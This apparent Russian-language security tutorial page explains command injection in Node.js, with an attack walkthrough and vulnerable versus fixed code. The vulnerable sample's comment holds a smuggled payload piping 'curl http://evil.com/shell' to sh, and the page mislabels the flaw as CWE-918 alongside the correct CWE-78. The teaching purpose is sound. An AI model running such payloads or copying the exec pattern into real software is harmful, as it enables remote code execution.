flawopen.com/command-injection/Javascript

● CWE-918 · Критический
Исследования · FlawOpen

Анализ уязвимости: Command Injection in JavaScript

Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.

💡 Простыми словами (ELI5)

Представьте, что вы просите офисного ассистента распечатать документ 'отчет.pdf'. Инъекция команд происходит, когда кто-то указывает имя 'отчет.pdf; whoami', и ассистент слепо передает всю записку терминалу, заставляя его напечатать отчет и прочесть бейдж администратора.

Ключевые понятия и термины

Web Application Security
Технический термин (Web Application Security): Core architecture component affected by CWE-918.
CWE-918
Технический термин (CWE-918): Standard Common Weakness Enumeration classification for command-injection-javascript.
Defense-in-Depth
Технический термин (Defense-in-Depth): Multi-layered engineering verification and runtime boundary isolation.

Пошаговый сценарий атаки

Step 1

Прием ненадежных параметров

Приложение принимает диагностические имена хостов, имена файлов или флаги напрямую из HTTP-запроса пользователя.

Step 2

Небезопасная конкатенация командной строки

Бэкенд формирует строку команды оболочки с помощью склеивания строк вместо использования вектора разделенных аргументов.

Step 3

Внедрение разделителей команд

Злоумышленник внедряет метасимволы оболочки, такие как ';', '&&', '|' или обратные кавычки (например, '127.0.0.1; id').

Step 4

Выполнение в подоболочке и компрометация

Командная оболочка ОС выполняет внедренную команду с привилегиями рабочего процесса веб-сервера.

Исходный код: Уязвимый vs Защищённый вариант

✕ УЯЗВИМАЯ РЕАЛИЗАЦИЯ
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');

function convertImage(filename) {
  // Input: "avatar.png; curl http://evil.com/shell | sh"
  exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
    console.log(stdout);
  });
}
✓ БЕЗОПАСНЫЙ ИСПРАВЛЕННЫЙ ВАРИАНТ
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');

function convertImage(filename) {
  // filename is passed as a literal argument, never parsed as a shell command
  execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
    console.log(stdout);
  });
}

Чек-лист по защите системы для инженеров

References